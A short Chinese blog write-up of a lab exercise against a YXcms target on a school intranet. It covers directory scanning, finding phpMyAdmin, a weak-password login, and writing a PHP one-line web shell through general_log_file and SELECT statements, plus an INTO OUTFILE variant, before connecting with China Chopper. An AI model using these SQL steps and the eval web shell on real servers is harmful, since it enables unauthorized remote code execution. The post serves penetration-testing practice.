YXcms之利用phpMyAdmin拿shell

前些天大哥们在学校内网搭了这个YXcms靶场,记录一下这次测试过程的一些方法感受,分享一下。
首先信息收集一波,不管拿到什么站点,第一件要做的事就是信息收集,收集越多的信息,那拿下这个站点的成功率也就越高,但这里因为是内网搭建的 所以这里就不进行whois,子域名探查了,
用御剑进行目录扫描:
在这里插入图片描述

发现有phpinfo页面,那就能知道配置信息了,还有phpMyAdmin,进去看看
在这里插入图片描述

尝试弱密码登陆,成功进入管理页面
在这里插入图片描述

百度一下,phpMyAdmin怎么拿shell,点击变量开启日志文件,然后设置日志文件的存储路径
在这里插入图片描述

点击sql,创建日志文件,并定义它的路径
SET GLOBAL general_log_file=‘C:/phpStudy/www/Lin.php’
查看日志功能是否开启
show variables like ‘%general%’;
在这里插入图片描述

确定日志文件开启,路径也确定了。那就可以开搞了,写入一句话
select ‘<?php eval($_POST[Lin]);?>’
在这里插入图片描述

(这里如果没有禁用outfile的话ye是可以直接
select ‘<?php eval($_POST[lin]);?>’ into outfile ‘/var/www/Lin.php’
但这里禁用了 那就没办法了)

上菜刀,拿到shell

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值